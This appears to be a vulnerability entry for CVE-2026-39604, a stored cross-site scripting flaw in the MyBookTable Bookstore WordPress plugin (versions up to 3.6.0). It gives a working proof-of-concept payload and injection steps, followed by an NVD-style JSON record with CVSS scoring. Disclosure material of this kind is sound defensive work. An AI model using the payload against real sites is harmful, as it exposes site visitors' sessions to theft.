CVE-2026-39604

<!-- Stored XSS PoC for CVE-2026-39604 --> <!-- Affected Product: MyBookTable Bookstore <= 3.6.0 --> <!-- Privileges Required: High (Admin/Editor) --> <!-- Payload to inject into Book Title or Description field --> <img src=x onerror=alert(document.cookie)> <!-- Explanation: --> <!-- 1. Log in as Admin/Editor. <!-- 2. Navigate to the Add/Edit Book section. <!-- 3. Enter the payload above into a vulnerable text field. <!-- 4. Save the book. <!-- 5. View the book list or details page to trigger the alert.

{"cve": {"id": "CVE-2026-39604", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:29.610", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in zookatron MyBookTable Bookstore mybooktable allows Stored XSS.This issue affects MyBookTable Bookstore: from n/a through <= 3.6.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mybooktable/vulnerability/wordpress-mybooktable-bookstore-plugin-3-6-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}